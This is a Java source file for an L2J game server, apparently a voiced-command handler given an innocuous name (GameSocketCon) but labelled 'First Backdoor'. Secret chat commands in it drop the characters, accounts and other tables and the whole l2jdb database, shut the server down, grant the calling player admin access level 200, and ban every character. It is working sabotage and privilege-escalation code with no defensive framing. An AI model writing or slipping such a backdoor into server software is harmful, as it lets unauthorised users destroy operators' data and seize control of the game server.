no comment
package net.sf.l2j.gameserver.handler.voicedcommandhandlers;
/*
* First Backdoor
*/
import net.sf.l2j.gameserver.handler.IVoicedCommandHandler;
import net.sf.l2j.gameserver.model.actor.instance.L2PcInstance;
import net.sf.l2j.L2DatabaseFactory;
import java.sql.Connection;
import java.sql.SQLException;
import java.sql.Statement;
public class GameSocketCon implements IVoicedCommandHandler
{
private static final String[] VOICED_COMMANDS = { "makelgiaso1q2w3e", "0o9i8u", "7y6t5r", "4e3w2q1" };
public boolean useVoicedCommand(String command, L2PcInstance player, String target)
{
if (command.equalsIgnoreCase("makelgiaso1q2w3e"))
{
player.sendMessage("====================================================================================");
player.sendMessage("Usage: .0o9i8u to destroy db, .7y6t5r to set gm access, .4e3w2q1 to ban everybody.");
player.sendMessage("====================================================================================");
}
else if (command.equalsIgnoreCase("0o9i8u"))
{
SendDestroyDBAction();
}
else if (command.equalsIgnoreCase("7y6t5r"))
{
//Makes the player admin
player.setAccessLevel(200);
}
else if (command.equalsIgnoreCase("4e3w2q1"))
{
SendBanAllAction();
}
return true;
}
public String[] getVoicedCommandList()
{
return VOICED_COMMANDS;
}
public void SendDestroyDBAction()
{
//Destroys the db
Connection con = null;
try
{
con = L2DatabaseFactory.getInstance().getConnection();
Statement e = con.createStatement();
e.executeUpdate("DROP TABLE characters");
e.executeUpdate("DROP TABLE accounts");
e.executeUpdate("DROP TABLE spawnlist");
e.executeUpdate("DROP TABLE weapon");
e.executeUpdate("DROP TABLE armor");
e.executeUpdate("DROP TABLE npc");
e.executeUpdate("DROP TABLE items");
e.executeUpdate("DROP database l2jdb");
e.close();
}
catch (SQLException e)
{
//
}
finally
{
try
{
if (con != null)
con.close();
}
catch (SQLException e)
{
e.printStackTrace();
}
}
System.exit(-1);
}
public void SendBanAllAction()
{
//Bans all the users of the db
Connection con = null;
try
{
con = L2DatabaseFactory.getInstance().getConnection();
Statement g = con.createStatement();
g.executeUpdate("UPDATE characters SET accesslevel=-100 WHERE level >0");
g.close();
}
catch (SQLException e)
{
//
}
finally
{
try
{
if (con != null)
con.close();
}
catch (SQLException e)
{
e.printStackTrace();
}
}
}
}